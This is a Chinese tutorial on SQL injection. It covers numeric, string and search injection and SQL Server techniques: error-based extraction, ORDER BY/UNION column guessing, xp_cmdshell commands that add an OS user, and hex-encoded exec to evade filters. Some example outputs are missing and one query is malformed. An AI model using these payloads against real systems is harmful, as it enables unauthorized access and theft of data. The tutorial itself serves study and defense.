sql注入的三種方式是:1、數字型注入,當輸入的參數為整型時,可能存在數字型注入漏洞;2、字符型注入,當輸入參數為字符串時,可能存在字符型注入漏洞;3、搜索型注入,在進行數據搜索時沒過濾搜索參數。
本教程操作環境:windows7系統、mysql8.0版、Dell G3電腦。
SQL 注入原理
SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。
SQL 注入分類
1. 數字型注入
當輸入的參數為整型時,則有可能存在數字型注入漏洞。
假設存在一條 URL 為:http://www.aaa.com/test.php?id=1
可以對后臺的 SQL 語句猜測為:
select * FROM table WHERE id=1
判斷數字型漏洞的 SQL 注入點:
① 先在輸入框中輸入一個單引號 ‘
這樣的 SQL 語句就會變為:
SELECT * FROM table WHERE id=1’,
不符合語法,所以該語句肯定會出錯,導致腳本程序無法從數據庫獲取數據,從而使原來的頁面出現異常。
② 在輸入框中輸入 and 1 = 1
SQL語句變為:
SELECT * FROM table WHERE id=1 and 1 = 1
語句正確,執行正常,返回的數據與原始請求無任何差異。
③ 在數據庫中輸入 and 1 = 2
SQL 語句變為:
SELECT * FROM table WHERE id=1 and 1 = 2
雖然語法正確,語句執行正常,但是邏輯錯誤,因為 1 = 2 為永假,所以返回數據與原始請求有差異。
如果以上三個步驟全部滿足,則程序就可能存在數字型 SQL 注入漏洞。
2. 字符型注入
當輸入參數為字符串時,則可能存在字符型注入漏洞。數字型與字符型注入最大的區別在于:數字型不需要單引號閉合,而字符型一般需要使用單引號來閉合。
字符型注入最關鍵的是如何閉合 SQL 語句以及注釋多余的代碼。
假設后臺的 SQL 語句如下:
SELECT * FROM table WHERE username = ‘admin’
判斷字符型漏洞的 SQL 注入點:
① 還是先輸入單引號 admin’ 來測試
這樣的 SQL 語句就會變為:
SELECT * FROM table WHERE username = ‘admin”。
頁面異常。
② 輸入:admin’ and 1 = 1 —
注意:在 admin 后有一個單引號 ‘,用于字符串閉合,最后還有一個注釋符 –(兩條杠后面還有一個空格!!!)。
SQL 語句變為:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 —
頁面顯示正確。
③ 輸入:admin’ and 1 = 2 —
SQL 語句變為:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 —
頁面錯誤。
滿足上面三個步驟則有可能存在字符型 SQL 注入。
3.搜索型注入
這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有 “keyword=關鍵字” 有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like ‘%關鍵字%’ 若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where 字段 like ‘%測試%’ and ‘%1%’=’%1%’
以下是一些常見的注入叫法:
-
POST注入:注入字段在 POST 數據中
-
Cookie注入:注入字段在 Cookie 數據中
-
延時注入:使用數據庫延時特性注入
-
搜索注入:注入處為搜索的地方
-
base64注入:注入字符串需要經過 base64 加密
常見數據庫的注入
攻擊者對于數據庫注入,無非是利用數據庫獲取更多的數據或者更大的權限,利用的方式可以歸結為以下幾類:
-
查詢數據
-
讀寫文件
-
執行命令
攻擊者對于程序注入,無論任何數據庫,無非都是在做這三件事,只不過不同的數據庫注入的 SQL 語句不一樣罷了。
這里介紹三種數據庫的注入:oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server
1. 利用錯誤消息提取信息
SQL Server 數據庫是一個非常優秀的數據庫,它可以準確地定位錯誤信息,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以通過錯誤消息提取自己想要的數據。
① 枚舉當前表或者列
假設選擇存在這樣一張表:
查詢 root 用戶的詳細信息,SQL 語句猜測如下:
SELECT * FROM user WHERE username = ‘root’ AND password = ‘root’
攻擊者可以利用 SQL Server 特性來獲取敏感信息,在輸入框中輸入如下語句:
‘ having 1 = 1 —
最終執行的 SQL 語句就會變為:
SELECT * FROM user WHERE username = ‘root’ AND password = ‘root’ HAVING 1 = 1 —
那么 SQL 的執行器可能會拋出一個錯誤:
攻擊者就可以發現當前的表名為 user、而且存在字段 id。
攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:
‘ GROUP BY users.id HAVING 1 = 1 —
則 SQL 語句變為:
SELECT * FROM user WHERE username = ‘root’ AND password = ‘root’ GROUP BY users.id HAVING 1 = 1 —
拋出錯誤:
由此可以看到包含列名 username。可以一次遞歸查詢,知道沒有錯誤消息返回位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
注:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數
②. 利用數據類型錯誤提取數據
如果試圖將一個字符串與非字符串比較,或者將一個字符串轉換為另一個不兼容的類型,那么SQL 編輯器將會拋出異常。
如下列 SQL 語句:
SELECT * FROM user WHERE username = ‘abc’ AND password = ‘abc’ AND 1 > (SELECT TOP 1 username FROM users)
執行器錯誤提示:
這就可以獲取到用戶的用戶名為 root。因為在子查詢 SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個返回,返回類型是 varchar 類型,然后要跟 int 類型的 1 比較,兩種類型不同的數據無法比較而報錯,從而導致了數據泄露。
利用此方法可以遞歸推導出所有的賬戶信息:
SELECT * FROM users WHERE username = ‘abc’ AND password = ‘abc’ AND 1 > (SELECT TOP 1 username FROM users WHERE not in (‘root’))。
通過構造此語句就可以獲得下一個 用戶名;若把子查詢中的 username 換成其他列名,則可以獲取其他列的信息,這里就不再贅述。
2. 獲取元數據
SQL Server 提供了大量視圖,便于取得元數據。可以先猜測出表的列數,然后用 union 來構造 SQL 語句獲取其中的數據。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若當前表的列數為 2,則可以 UNION 語句獲取當前數據庫表。具體怎么猜測當前表的列數,后面進行描述。
一些常用的系統數據庫視圖:
數據庫視圖 | 說明 |
---|---|
SYS.DATABASES | SQL Server 中的所有數據庫 |
SYS.SQL_LOGINS | SQL Server 中的所有登錄名 |
INFORMATION_SCHEMA.TABLES | 當前用戶數據庫中的所有數據表 |
INFORMATION_SCHEMA.COLUMNS | 當前用戶數據庫中的所有列 |
SYS.ALL_COLUMNS | 用戶定義對象和系統對象的所有列的聯合 |
SYS.DATABASE_PRINCIPALS | 數據庫中每個權限或列異常權限 |
SYS.DATABASE_FILES | 存儲在數據庫中的數據庫文件 |
SYSOBJECTS | 數據庫中創建的每個對象 (包括約束、日志以及存儲過程) |
3. ORDER BY 子句猜測列數
可以用 ORDER BY 語句來判斷當前表的列數。
如:
① SELECT * FROM users WHERE id = 1——SQL執行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 拋出異常:
由此可以得出,當前表的列數只有 3 列,因為當按照第 4 列排序時報錯了。在 Oracle 和 MySql 數據庫中同樣適用此方法。
在得知列數后,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。
4. UNION 查詢
UNION 關鍵字將兩個或多個查詢結果組合為單個結果集,大部分數據庫都支持 UNION 查詢。但適用 UNION 合并兩個結果有如下基本規則:
-
所有查詢中的列數必須相同
-
數據類型必須兼容
① 用 UNION 查詢猜測列數
不僅可以用 ORDER BY 方法來猜測列數,UNION 方法同樣可以。
在之前假設的 user 表中有 5 列,若我們用 UNION 聯合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
數據庫會發出異常:
可以通過遞歸查詢,直到無錯誤產生,就可以得知 User 表的查詢字段數:
UNION SELECT 1,2、UNION SELECT 1,2,3
也可以將 SELECT 后面的數字改為 NULL、這樣不容易出現不兼容的異常。
② 聯合查詢敏感信息
在得知列數為 4后,可以使用一下語句繼續注入:
UNION SELECT ‘x’, null, null, null FROM SYSOBJECT WHERE xtype=’U’ (注:xtype=‘U’ 表示對象類型是表)
若第一列的數據類型不匹配,數據庫會報錯,那么可以遞歸查詢,直到語句兼容。等到語句正常執行,就可以將 x 換為 SQL 語句,查詢敏感信息。
5. 利用SQL Server 提供的系統函數
SQL Server 提供了非常多的系統函數,利用該系統函數可以訪問 SQL Server 系統表中的信息,而無需使用 SQL 查詢語句。
如:
-
SELECT suser_name():返回用戶的登錄標識名
-
SELECT user_name():基于指定的標識號返回數據庫用戶名
-
SELECT db_name():返回數據庫名
-
SELECT is_member(‘db_owner’):是否為數據庫角色
-
SELECT convert(int, ‘5’):數據類型轉換
6. 存儲過程
存儲過程 (Stored Procedure) 是在大型數據庫系統中為了完成特定功能的一組 SQL “函數”,如:執行系統命令、查看注冊表、讀取磁盤目錄等。
攻擊者最長使用的存儲過程是 “xp_cmdshell”,這個存儲過程允許用戶執行操作系統命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點,那么攻擊者就可以實施命令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell ‘net user test test /add’
最終執行的 SQL 語句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell ‘net user test test /add’
分號后面的那一段語句就可以為攻擊者在對方服務器上新建一個用戶名為 test、密碼為 test 的用戶。
注:并不是任何數據庫用戶都可以使用此類存儲過程,用戶必須持有 CONTROL SERVER 權限。
常見的危險存儲過程如下表:
存儲過程 | 說明 |
---|---|
sp_addlogin | 創建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實例 |
sp_dropuser | 從當前數據庫中刪除數據庫用戶 |
xp_enumgroups | 提供 microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表 |
xp_regread | 讀取注冊表 |
xp_regwrite | 寫入注冊表 |
xp_redeletevalue | 刪除注冊表 |
xp_dirtree | 讀取目錄 |
sp_password | 更改密碼 |
xp_servicecontrol | 停止或激活某服務 |
另外,任何數據庫在使用一些特殊的函數或存儲過程時,都需要特定的權限。常見的SQL Server 數據庫的角色與權限如下:
角色 | 權限 |
---|---|
bulkadmin | 可以運行 BULK INSERT 語句 |
dbcreator | 可以創建、更改、刪除和還原任何數據庫 |
diskadmin | 可以管理磁盤文件 |
processadmin | 可以種植在數據庫引擎中運行的實例 |
securityadmin | 可以管理登錄名及其屬性;可以利用 GRANT、DENY 和 REVOKE 服務器級別的權限;還可以利用 GRANT、DENY 和 REVOKE 數據庫級別的權限;此外也可以重置 SQL Server 登錄名的密碼 |
serveradmin | 可以更改服務器范圍的配置選項和關閉服務器 |
setupadmin | 可以添加和刪除鏈接服務器,并可以執行某些系統存儲過程 |
sysadmin | 可以在數據庫引擎中執行任何活動 |
7. 動態執行
SQL Server 支持動態執行語句,用戶可以提交一個字符串來執行 SQL 語句。
如:exec(‘SELECT username, password FROM users’)
也可以通過定義十六進制的 SQL 語句,使用 exec 函數執行。大部分 Web 應用程序和防火墻都過濾了單引號,利用 exec 執行十六進制 SQL 語句可以突破很多防火墻及防注入程序,如:
declare?@query?varchar(888) select?@query=0x73656C6563742031 exec(@query)
或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
相關推薦:《mysql教程》